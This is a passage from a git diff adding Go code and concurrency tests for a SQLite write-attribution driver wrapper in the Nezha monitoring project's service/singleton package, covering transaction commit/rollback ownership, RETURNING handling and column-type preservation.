sqliteAttributionDriver{}.Open(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + prepared, err := connection.Prepare("INSERT INTO settings (value) VALUES (?) RETURNING id") + if err != nil { + t.Fatal(err) + } + statement := prepared.(*sqliteAttributionStatement) + owner := &sqliteAttributionCountingStmt{Stmt: prepared} + enableSQLiteAttribution() + + // When + rows, queryErr := statement.queryOwned(func() (driver.Rows, error) { + return statement.statement.Query([]driver.Value{"rejected"}) + }, owner) + + // Then + if rows != nil { + t.Fatal("rejected direct Query returned rows") + } + if !errors.Is(queryErr, ErrSQLiteAttributionUnboundWrite) { + t.Fatalf("rejected direct Query error = %v", queryErr) + } + if owner.closeCount != 1 { + t.Fatalf("owned statement Close count = %d, want 1", owner.closeCount) + } +} + +func TestSQLiteAttributionDirectQueryRejectsUnboundWriteThroughPublicConnection(t *testing.T) { + resetSQLiteAttributionForTest() + probe := &sqliteAttributionQueryProbeStmt{} + var connection *sqliteAttributionConnection + connection = &sqliteAttributionConnection{ + prepareStatement: func(context.Context, string) (driver.Stmt, error) { + return &sqliteAttributionStatement{ + connection: connection, + statement: probe, + classification: sqliteAttributionClassification{ + hasRowDML: true, + operation: SQLiteOperationInsert, + table: "settings", + }, + }, nil + }, + } + enableSQLiteAttribution() + + rows, queryErr := connection.Query("INSERT INTO settings (value) VALUES (?) RETURNING id", []driver.Value{"public-rejected"}) + + if rows != nil { + t.Fatal("public direct Query returned rows after pre-step rejection") + } + if !errors.Is(queryErr, ErrSQLiteAttributionUnboundWrite) { + t.Fatalf("public direct Query error = %v", queryErr) + } + if probe.closeCount != 1 { + t.Fatalf("public direct Query statement Close count = %d, want 1", probe.closeCount) + } + if probe.queryCount != 0 { + t.Fatalf("public direct Query invoked underlying Query %d times, want 0", probe.queryCount) + } +} + +func TestSQLiteAttributionQueryContextClosesUnsupportedStatementBeforeErrSkip(t *testing.T) { + // Given + statement := &sqliteAttributionLegacyQueryStmt{} + connection := &sqliteAttributionConnection{} + wrapped := &sqliteAttributionStatement{connection: connection, statement: statement} + + // When + rows, queryErr := connection.queryContextStatement(context.Background(), wrapped, nil, statement) + + // Then + if rows != nil { + t.Fatal("unsupported QueryContext returned rows") + } + if !errors.Is(queryErr, driver.ErrSkip) { + t.Fatalf("unsupported QueryContext error = %v", queryErr) + } + if statement.closeCount != 1 { + t.Fatalf("unsupported QueryContext Close count = %d, want 1", statement.closeCount) + } +} diff --git a/service/singleton/sqlite_attribution_release_terminal_ownership_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_release_terminal_ownership_agentcompat_linux_test.go new file mode 100644 index 00000000..1f1beae5 --- /dev/null +++ b/service/singleton/sqlite_attribution_release_terminal_ownership_agentcompat_linux_test.go @@ -0,0 +1,227 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "testing" + + "golang.org/x/sys/unix" +) + +func sqliteAttributionReleasedCommitFixture(t *testing.T, value string) (*sqliteAttributionConnection, *sqliteAttributionTx, SQLiteHoldSession, string, SQLiteTransaction, int) { + t.Helper() + resetSQLiteAttributionForTest() + databasePath := sqliteAttributionTestDatabasePath(t) + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := connection.BeginTx(context.Background(), driver.TxOptions{}) + if err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + if _, err := statement.Exec([]driver.Value{value}); err != nil { + t.Fatal(err) + } + if err := statement.Close(); err != nil { + t.Fatal(err) + } + session, err := sqliteAttributionTracker.Load().ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + wrapped := transaction.(*sqliteAttributionTx) + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("selected transaction is not active") + } + return connection, wrapped, session, databasePath, identity, descriptor +} + +func sqliteAttributionReleasedTerminalSnapshot(t *testing.T, session SQLiteHoldSession) SQLiteHoldSnapshot { + t.Helper() + terminal, err := sqliteAttributionTracker.Load().WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + if err != nil { + t.Fatal(err) + } + return terminal +} + +func TestSQLiteAttributionReleasedCommitOwnsTerminalAgainstConcurrentRollback(t *testing.T) { + // Given + connection, transaction, session, databasePath, identity, descriptor := sqliteAttributionReleasedCommitFixture(t, "released-rollback-owner") + t.Cleanup(func() { + if err := connection.Close(); err != nil && !errors.Is(err, driver.ErrBadConn) { + t.Error(err) + } + }) + releasedBoundary := make(chan struct{}) + allowCommitClaim := make(chan struct{}) + loserWaiting := make(chan struct{}) + transaction.state.releasedCommitBoundary = func() { + close(releasedBoundary) + <-allowCommitClaim + } + transaction.state.terminalLoserWaitBoundary = func() { close(loserWaiting) } + finalizing := make(chan error, 1) + commitResult := make(chan error, 1) + go func() { + _, err := sqliteAttributionTracker.Load().WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + finalizing <- err + }() + go func() { commitResult <- transaction.Commit() }() + if err := <-finalizing; err != nil { + t.Fatal(err) + } + + // When + if err := sqliteAttributionTracker.Load().ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + <-releasedBoundary + rollbackResult := make(chan error, 1) + go func() { rollbackResult <- transaction.Rollback() }() + loserReturned := false + var rollbackErr error + select { + case <-loserWaiting: + case rollbackErr = <-rollbackResult: + loserReturned = true + } + close(allowCommitClaim) + commitErr := <-commitResult + if !loserReturned { + rollbackErr = <-rollbackResult + } + terminal := sqliteAttributionReleasedTerminalSnapshot(t, session) + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + count := sqliteAttributionPersistedCount(t, databasePath) + + // Then + if loserReturned { + t.Errorf("released Commit lost terminal ownership: Rollback returned %v before waiting", rollbackErr) + } + if commitErr != nil { + t.Errorf("released Commit error = %v, want nil", commitErr) + } + if !errors.Is(rollbackErr, driver.ErrBadConn) { + t.Errorf("Rollback after successful Release error = %v, want driver.ErrBadConn", rollbackErr) + } + if !terminal.Selected || !terminal.Finalizing || !terminal.Released { + t.Errorf("released terminal snapshot = %+v", terminal) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Errorf("journal descriptor after released Commit = %v, want EBADF", descriptorErr) + } + if count != 1 { + t.Errorf("released Commit persisted %d rows, want 1", count) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Error("released Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Error("released Commit left the tracker transaction active") + } +} + +func TestSQLiteAttributionReleasedCommitOwnsTerminalAgainstConcurrentConnectionClose(t *testing.T) { + // Given + connection, transaction, session, databasePath, identity, descriptor := sqliteAttributionReleasedCommitFixture(t, "released-close-owner") + connectionClosed := false + t.Cleanup(func() { + if !connectionClosed { + if err := connection.Close(); err != nil && !errors.Is(err, driver.ErrBadConn) { + t.Error(err) + } + } + }) + releasedBoundary := make(chan struct{}) + allowCommitClaim := make(chan struct{}) + loserWaiting := make(chan struct{}) + transaction.state.releasedCommitBoundary = func() { + close(releasedBoundary) + <-allowCommitClaim + } + transaction.state.terminalLoserWaitBoundary = func() { close(loserWaiting) } + finalizing := make(chan error, 1) + commitResult := make(chan error, 1) + go func() { + _, err := sqliteAttributionTracker.Load().WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + finalizing <- err + }() + go func() { commitResult <- transaction.Commit() }() + if err := <-finalizing; err != nil { + t.Fatal(err) + } + + // When + if err := sqliteAttributionTracker.Load().ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + <-releasedBoundary + closeResult := make(chan error, 1) + go func() { closeResult <- connection.Close() }() + loserReturned := false + var closeErr error + select { + case <-loserWaiting: + case closeErr = <-closeResult: + loserReturned = true + } + close(allowCommitClaim) + commitErr := <-commitResult + if !loserReturned { + closeErr = <-closeResult + } + connectionClosed = true + terminal := sqliteAttributionReleasedTerminalSnapshot(t, session) + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + database, err := sql.Open("sqlite3", databasePath) + if err != nil { + t.Fatal(err) + } + defer database.Close() + var count int + if err := database.QueryRow("SELECT COUNT(*) FROM settings").Scan(&count); err != nil { + t.Fatal(err) + } + + // Then + if loserReturned { + t.Errorf("released Commit lost terminal ownership: connection Close returned %v before waiting", closeErr) + } + if commitErr != nil { + t.Errorf("released Commit error = %v, want nil", commitErr) + } + if closeErr != nil && !errors.Is(closeErr, driver.ErrBadConn) { + t.Errorf("connection Close after successful Release error = %v, want nil or driver.ErrBadConn", closeErr) + } + if !terminal.Selected || !terminal.Finalizing || !terminal.Released { + t.Errorf("released terminal snapshot = %+v", terminal) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Errorf("journal descriptor after released Commit = %v, want EBADF", descriptorErr) + } + if count != 1 { + t.Errorf("released Commit persisted %d rows, want 1", count) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Error("released Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Error("released Commit left the tracker transaction active") + } +} diff --git a/service/singleton/sqlite_attribution_returning_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_returning_agentcompat_linux_test.go new file mode 100644 index 00000000..f4125d5f --- /dev/null +++ b/service/singleton/sqlite_attribution_returning_agentcompat_linux_test.go @@ -0,0 +1,121 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "testing" + + "github.com/nezhahq/nezha/model" + "gorm.io/gorm" +) + +func TestSQLiteAttributionRecordsDirectExplicitReturningEvidence(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + transaction, err := database.BeginTx(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if rollbackErr := transaction.Rollback(); rollbackErr != nil { + t.Error(rollbackErr) + } + }) + + // When + rows, queryErr := transaction.QueryContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id", "direct-explicit-returning") + rowsErr := sqliteAttributionConsumeRows(rows) + evidence := sqliteAttributionTrackerWriteEvidence() + + // Then + if queryErr != nil || rowsErr != nil { + t.Fatalf("direct explicit RETURNING failed") + } + if !evidence.hasWrite { + t.Fatal("direct explicit RETURNING did not record atomic write evidence") + } + if evidence.write.Origin.StackHash == 0 { + t.Fatal("direct explicit RETURNING recorded a zero stack hash") + } + if evidence.write.Origin.FirstNezhaFrame == "" { + t.Fatal("direct explicit RETURNING recorded an empty Nezha frame") + } +} + +func TestSQLiteAttributionRecordsPreparedExplicitReturningEvidence(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + transaction, err := database.BeginTx(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if rollbackErr := transaction.Rollback(); rollbackErr != nil { + t.Error(rollbackErr) + } + }) + statement, err := transaction.PrepareContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := statement.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + + // When + rows, queryErr := statement.QueryContext(context.Background(), "prepared-explicit-returning") + rowsErr := sqliteAttributionConsumeRows(rows) + evidence := sqliteAttributionTrackerWriteEvidence() + + // Then + if queryErr != nil || rowsErr != nil { + t.Fatalf("prepared explicit RETURNING failed") + } + if !evidence.hasWrite { + t.Fatal("prepared explicit RETURNING did not record atomic write evidence") + } + if evidence.write.Origin.StackHash == 0 { + t.Fatal("prepared explicit RETURNING recorded a zero stack hash") + } + if evidence.write.Origin.FirstNezhaFrame == "" { + t.Fatal("prepared explicit RETURNING recorded an empty Nezha frame") + } +} + +func TestSQLiteAttributionAllowsGORMReturningWhenDisabled(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + database, err := gorm.Open(openSQLiteDialector(sqliteAttributionTestDatabasePath(t)), &gorm.Config{}) + if err != nil { + t.Fatal(err) + } + sqlDatabase, err := database.DB() + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := sqlDatabase.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if err := database.AutoMigrate(&model.User{}); err != nil { + t.Fatal(err) + } + user := model.User{Username: "admin", Password: "hashed-password"} + + // When + createErr := database.Create(&user).Error + + // Then + if createErr != nil { + t.Fatalf("disabled attribution rejected GORM RETURNING: %v", createErr) + } + if user.ID == 0 { + t.Fatal("disabled attribution did not return the generated user ID") + } +} diff --git a/service/singleton/sqlite_attribution_review_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_review_agentcompat_linux_test.go new file mode 100644 index 00000000..0179cfbc --- /dev/null +++ b/service/singleton/sqlite_attribution_review_agentcompat_linux_test.go @@ -0,0 +1,231 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "reflect" + "sync" + "testing" +) + +func TestSQLiteAttributionLifecycleFieldsUseOneConnectionMutex(t *testing.T) { + // Given + mutexType := reflect.TypeFor[sync.Mutex]() + connectionType := reflect.TypeFor[sqliteAttributionConnection]() + transactionType := reflect.TypeFor[sqliteAttributionTransaction]() + mutexCount := 0 + for _, typeUnderTest := range []reflect.Type{connectionType, transactionType} { + for fieldIndex := 0; fieldIndex < typeUnderTest.NumField(); fieldIndex++ { + if typeUnderTest.Field(fieldIndex).Type == mutexType { + mutexCount++ + } + } + } + + // When + field, found := connectionType.FieldByName("lifecycleMu") + + // Then + if mutexCount != 1 { + t.Fatalf("direct lifecycle mutex count = %d, want 1 on sqliteAttributionConnection", mutexCount) + } + if !found || field.Type != mutexType { + t.Fatal("sqliteAttributionConnection.lifecycleMu is not the lifecycle mutex") + } +} + +func TestSQLiteAttributionBeginRollsBackRawTransactionWhenTrackerRejects(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + rawConnection, err := sqliteAttributionDriver{}.Open(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + _, _ = connection.connection.Exec("ROLLBACK", nil) + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + identity := SQLiteTransaction{Connection: connection.identity, Identity: SQLiteTransactionIdentity(sqliteAttributionTransactionID.Load() + 1)} + if err := sqliteAttributionTracker.Load().BeginSQLiteTransaction(identity); err != nil { + t.Fatal(err) + } + + // When + _, beginErr := connection.Begin() + followup, followupErr := connection.Begin() + if followup != nil { + _ = followup.Rollback() + } + + // Then + if !errors.Is(beginErr, ErrSQLiteHoldTransactionActive) { + t.Fatalf("tracker rejection = %v, want ErrSQLiteHoldTransactionActive", beginErr) + } + if followupErr != nil { + t.Fatalf("tracker rejection left raw transaction active: %v", followupErr) + } +} + +func TestSQLiteAttributionDirectQueryPreservesSQLiteColumnTypes(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + databasePath := sqliteAttributionTestDatabasePath(t) + attributed, err := openSQLiteAttributionTestDB(databasePath) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := attributed.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + standard, err := sql.Open("sqlite3", databasePath) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := standard.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := attributed.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)"); err != nil { + t.Fatal(err) + } + if _, err := attributed.Exec("INSERT INTO settings (value) VALUES (?)", "typed"); err != nil { + t.Fatal(err) + } + + // When + attributedRows, err := attributed.QueryContext(context.Background(), "SELECT id, value FROM settings") + if err != nil { + t.Fatal(err) + } + attributedTypes, attributedErr := attributedRows.ColumnTypes() + attributedCloseErr := attributedRows.Close() + standardRows, err := standard.QueryContext(context.Background(), "SELECT id, value FROM settings") + if err != nil { + t.Fatal(err) + } + standardTypes, standardErr := standardRows.ColumnTypes() + standardCloseErr := standardRows.Close() + + // Then + if attributedErr != nil || attributedCloseErr != nil || standardErr != nil || standardCloseErr != nil { + t.Fatal("ColumnTypes did not complete cleanly") + } + if len(attributedTypes) != len(standardTypes) { + t.Fatalf("attributed ColumnTypes length = %d, standard = %d", len(attributedTypes), len(standardTypes)) + } + for index := range standardTypes { + if attributedTypes[index].DatabaseTypeName() != standardTypes[index].DatabaseTypeName() || attributedTypes[index].ScanType() != standardTypes[index].ScanType() || !reflect.DeepEqual(attributedTypes[index], standardTypes[index]) { + t.Fatalf("column %d metadata differs from go-sqlite3", index) + } + } +} + +func TestSQLiteAttributionFailsClosedWhenSQLiteRepreparesAfterSchemaChange(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + databasePath := sqliteAttributionTestDatabasePath(t) + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := statement.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + other, err := sql.Open("sqlite3", databasePath) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := other.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := other.Exec("CREATE TABLE audit (value TEXT)"); err != nil { + t.Fatal(err) + } + if _, err := other.Exec("CREATE TRIGGER settings_audit AFTER INSERT ON settings BEGIN INSERT INTO audit (value) VALUES (NEW.value); END"); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := connection.Begin() + if err != nil { + t.Fatal(err) + } + + // When + _, executionErr := statement.Exec([]driver.Value{"reprepared"}) + commitErr := transaction.Commit() + var settingsCount, auditCount int + if err := other.QueryRow("SELECT COUNT(*) FROM settings").Scan(&settingsCount); err != nil { + t.Fatal(err) + } + if err := other.QueryRow("SELECT COUNT(*) FROM audit").Scan(&auditCount); err != nil { + t.Fatal(err) + } + + // Then + if !errors.Is(errors.Join(executionErr, commitErr), ErrSQLiteAttributionUnsupportedWrite) { + t.Fatalf("reprepared write errors = %v / %v", executionErr, commitErr) + } + if settingsCount != 0 || auditCount != 0 { + t.Fatalf("reprepared write persisted settings=%d audit=%d", settingsCount, auditCount) + } +} + +func TestSQLiteAttributionUpdateHookRejectsAuxiliaryDatabase(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + rawConnection, err := sqliteAttributionDriver{}.Open(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + connection.execution = &sqliteAttributionExecution{classification: sqliteAttributionClassification{operation: SQLiteOperationInsert, table: "settings"}} + if _, err := connection.connection.Exec("ATTACH DATABASE ':memory:' AS auxiliary", nil); err != nil { + t.Fatal(err) + } + if _, err := connection.connection.Exec("CREATE TABLE auxiliary.settings (value TEXT)", nil); err != nil { + t.Fatal(err) + } + + // When + _, writeErr := connection.connection.Exec("INSERT INTO auxiliary.settings (value) VALUES ('auxiliary')", nil) + + // Then + if writeErr != nil { + t.Fatal(writeErr) + } + if !connection.execution.hook.mismatch || connection.execution.hook.seen { + t.Fatal("auxiliary database update hook matched main attribution execution") + } +} diff --git a/service/singleton/sqlite_attribution_statement_transaction_agentcompat_linux.go b/service/singleton/sqlite_attribution_statement_transaction_agentcompat_linux.go new file mode 100644 index 00000000..15d3d910 --- /dev/null +++ b/service/singleton/sqlite_attribution_statement_transaction_agentcompat_linux.go @@ -0,0 +1,186 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql/driver" + "errors" + "io" + "reflect" +) + +type sqliteAttributionClassification struct { + readonly bool + hasRowDML bool + ambiguous bool + operation SQLiteOperation + table string +} + +func (classification sqliteAttributionClassification) requiresAttribution() bool { + return !classification.readonly && classification.hasRowDML +} + +func (classification sqliteAttributionClassification) valid() bool { + return !classification.ambiguous && classification.hasRowDML && classification.operation != "" && classification.table != "" +} + +type sqliteAttributionStatement struct { + connection *sqliteAttributionConnection + statement driver.Stmt + classification sqliteAttributionClassification +} + +var ( + _ driver.Stmt = (*sqliteAttributionStatement)(nil) + _ driver.StmtExecContext = (*sqliteAttributionStatement)(nil) + _ driver.StmtQueryContext = (*sqliteAttributionStatement)(nil) +) + +func (statement *sqliteAttributionStatement) Close() error { return statement.statement.Close() } +func (statement *sqliteAttributionStatement) NumInput() int { return statement.statement.NumInput() } + +func (statement *sqliteAttributionStatement) Exec(values []driver.Value) (driver.Result, error) { + return statement.execute(func() (driver.Result, error) { return statement.statement.Exec(values) }) +} + +func (statement *sqliteAttributionStatement) ExecContext(ctx context.Context, values []driver.NamedValue) (driver.Result, error) { + contextStatement, ok := statement.statement.(driver.StmtExecContext) + if !ok { + return nil, driver.ErrSkip + } + return statement.execute(func() (driver.Result, error) { return contextStatement.ExecContext(ctx, values) }) +} + +func (statement *sqliteAttributionStatement) Query(values []driver.Value) (driver.Rows, error) { + return statement.queryOwned(func() (driver.Rows, error) { return statement.statement.Query(values) }, nil) +} + +func (statement *sqliteAttributionStatement) QueryContext(ctx context.Context, values []driver.NamedValue) (driver.Rows, error) { + contextStatement, ok := statement.statement.(driver.StmtQueryContext) + if !ok { + return nil, driver.ErrSkip + } + return statement.queryOwned(func() (driver.Rows, error) { return contextStatement.QueryContext(ctx, values) }, nil) +} + +func (statement *sqliteAttributionStatement) execute(run func() (driver.Result, error)) (driver.Result, error) { + if err := statement.connection.beforeWrite(statement.classification); err != nil { + return nil, err + } + result, err := run() + if err != nil { + statement.connection.discardExecution() + return nil, err + } + if rows, rowsErr := result.RowsAffected(); rowsErr != nil || rows > 0 { + if err := statement.connection.publishExecution(); err != nil { + return nil, err + } + } + statement.connection.discardExecution() + return result, nil +} + +func (statement *sqliteAttributionStatement) queryOwned(run func() (driver.Rows, error), owner driver.Stmt) (driver.Rows, error) { + if err := statement.connection.beforeWrite(statement.classification); err != nil { + if owner != nil { + return nil, errors.Join(err, owner.Close()) + } + return nil, err + } + rows, err := run() + if err != nil { + statement.connection.discardExecution() + if owner != nil { + return nil, errors.Join(err, owner.Close()) + } + return nil, err + } + // Disabled attribution must preserve the stock driver rows lifecycle used during Dashboard bootstrap. + if !sqliteAttributionEnabled.Load() || !statement.classification.requiresAttribution() { + if owner == nil { + return rows, nil + } + return &sqliteAttributionRows{rows: rows, owner: owner}, nil + } + return &sqliteAttributionRows{rows: rows, owner: owner, connection: statement.connection}, nil +} + +type sqliteAttributionRows struct { + rows driver.Rows + owner driver.Stmt + connection *sqliteAttributionConnection + finished bool + closed bool +} + +func (rows *sqliteAttributionRows) Columns() []string { return rows.rows.Columns() } + +func (rows *sqliteAttributionRows) ColumnTypeDatabaseTypeName(index int) string { + typed, ok := rows.rows.(driver.RowsColumnTypeDatabaseTypeName) + if !ok { + return "" + } + return typed.ColumnTypeDatabaseTypeName(index) +} + +func (rows *sqliteAttributionRows) ColumnTypeNullable(index int) (bool, bool) { + typed, ok := rows.rows.(driver.RowsColumnTypeNullable) + if !ok { + return false, false + } + return typed.ColumnTypeNullable(index) +} + +func (rows *sqliteAttributionRows) ColumnTypeScanType(index int) reflect.Type { + typed, ok := rows.rows.(driver.RowsColumnTypeScanType) + if !ok { + return nil + } + return typed.ColumnTypeScanType(index) +} + +func (rows *sqliteAttributionRows) Close() error { + if rows.closed { + return nil + } + rows.closed = true + closeErr := rows.rows.Close() + if !rows.finished && rows.connection != nil { + rows.connection.poison(&SQLiteAttributionError{Cause: ErrSQLiteAttributionUnsupportedWrite}) + rows.connection.discardExecution() + } + if rows.owner != nil { + return errors.Join(closeErr, rows.owner.Close()) + } + return closeErr +} + +func (rows *sqliteAttributionRows) Next(destination []driver.Value) error { + err := rows.rows.Next(destination) + if errors.Is(err, driver.ErrBadConn) { + // Read-only direct Query rows have no attribution connection; ErrBadConn must still propagate. + if rows.connection != nil { + rows.connection.discardExecution() + } + return err + } + if err == nil { + return nil + } + rows.finished = true + if err != io.EOF { + if rows.connection != nil { + rows.connection.discardExecution() + } + return err + } + if rows.connection != nil { + if publishErr := rows.connection.publishExecution(); publishErr != nil { + return publishErr + } + } + return io.EOF +} diff --git a/service/singleton/sqlite_attribution_transaction_agentcompat_linux.go b/service/singleton/sqlite_attribution_transaction_agentcompat_linux.go new file mode 100644 index 00000000..db57eb55 --- /dev/null +++ b/service/singleton/sqlite_attribution_transaction_agentcompat_linux.go @@ -0,0 +1,126 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "database/sql/driver" + "errors" +) + +type SQLiteHoldError struct{ Cause error } + +func (err *SQLiteHoldError) Error() string { return "sqlite hold finalization failed" } +func (err *SQLiteHoldError) Unwrap() error { return err.Cause } + +type sqliteAttributionTx struct { + connection *sqliteAttributionConnection + state *sqliteAttributionTransaction +} + +var _ driver.Tx = (*sqliteAttributionTx)(nil) + +func (transaction *sqliteAttributionTx) Commit() error { + state := transaction.state + transaction.connection.lifecycleMu.Lock() + if state.terminalPhase != sqliteAttributionTerminalOpen { + transaction.connection.lifecycleMu.Unlock() + return state.waitForTerminal() + } + poison := state.poison + if poison != nil { + journalFD := state.claimTerminalLocked(sqliteAttributionTerminalRollbackOwned) + transaction.connection.lifecycleMu.Unlock() + if errors.Is(poison, ErrSQLiteHoldAmbiguousCandidate) { + return errors.Join(&SQLiteHoldError{Cause: poison}, state.finish(transaction.connection, journalFD, state.raw.Rollback)) + } + return errors.Join(poison, state.finish(transaction.connection, journalFD, state.raw.Rollback)) + } + state.terminalPhase = sqliteAttributionTerminalCommitWaiting + transaction.connection.lifecycleMu.Unlock() + finalization, err := state.tracker.BeginSQLiteCommitFinalization(state.transaction) + if errors.Is(err, ErrSQLiteHoldNotSelected) { + return state.commit(transaction.connection) + } + if err != nil { + return errors.Join(&SQLiteHoldError{Cause: err}, state.rollback(transaction.connection)) + } + // Wait before raw Commit so the rollback journal stays observable for deterministic drain and prevents the baseline sample-1 FD regression. + if err := state.tracker.WaitSQLiteCommitFinalization(state.context, finalization); err != nil { + return errors.Join(&SQLiteHoldError{Cause: errors.Join(ErrSQLiteHoldAborted, err)}, state.rollback(transaction.connection)) + } + if state.releasedCommitBoundary != nil { + state.releasedCommitBoundary() + } + return state.commit(transaction.connection) +} + +func (transaction *sqliteAttributionTx) Rollback() error { + return transaction.state.rollback(transaction.connection) +} + +func (state *sqliteAttributionTransaction) commit(connection *sqliteAttributionConnection) error { + connection.lifecycleMu.Lock() + if state.terminalPhase != sqliteAttributionTerminalCommitWaiting { + connection.lifecycleMu.Unlock() + return state.waitForTerminal() + } + journalFD := state.claimTerminalLocked(sqliteAttributionTerminalCommitOwned) + connection.lifecycleMu.Unlock() + return state.finish(connection, journalFD, state.raw.Commit) +} + +func (state *sqliteAttributionTransaction) rollback(connection *sqliteAttributionConnection) error { + connection.lifecycleMu.Lock() + switch state.terminalPhase { + case sqliteAttributionTerminalOpen: + journalFD := state.claimTerminalLocked(sqliteAttributionTerminalRollbackOwned) + connection.lifecycleMu.Unlock() + return state.finish(connection, journalFD, state.raw.Rollback) + case sqliteAttributionTerminalCommitWaiting: + connection.lifecycleMu.Unlock() + arbitration := state.tracker.ArbitrateSQLiteCommitWaitingTerminal(state.transaction) + if arbitration == sqliteAttributionTerminalReleaseWon || arbitration == sqliteAttributionTerminalRollbackReserved { + return state.waitForTerminal() + } + connection.lifecycleMu.Lock() + if state.terminalPhase != sqliteAttributionTerminalCommitWaiting { + connection.lifecycleMu.Unlock() + return state.waitForTerminal() + } + journalFD := state.claimTerminalLocked(sqliteAttributionTerminalRollbackOwned) + connection.lifecycleMu.Unlock() + return state.finish(connection, journalFD, state.raw.Rollback) + default: + connection.lifecycleMu.Unlock() + return state.waitForTerminal() + } +} + +func (state *sqliteAttributionTransaction) claimTerminalLocked(phase sqliteAttributionTerminalPhase) int { + state.terminalPhase = phase + journalFD := state.journalFD + state.journalFD = -1 + return journalFD +} + +func (state *sqliteAttributionTransaction) waitForTerminal() error { + if state.terminalLoserWaitBoundary != nil { + state.terminalLoserWaitBoundary() + } + <-state.done + return driver.ErrBadConn +} + +func (state *sqliteAttributionTransaction) finish(connection *sqliteAttributionConnection, journalFD int, completeRaw func() error) error { + defer close(state.done) + rawErr := completeRaw() + connection.discardExecution() + connection.lifecycleMu.Lock() + if connection.transaction == state { + connection.transaction = nil + } + connection.lifecycleMu.Unlock() + closeErr := sqliteAttributionCloseJournalDescriptor(journalFD) + trackerErr := state.tracker.FinishSQLiteTransaction(state.transaction) + return errors.Join(rawErr, closeErr, trackerErr) +} diff --git a/service/singleton/sqlite_attribution_transaction_finalization_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_transaction_finalization_agentcompat_linux_test.go new file mode 100644 index 00000000..fb2ce9f4 --- /dev/null +++ 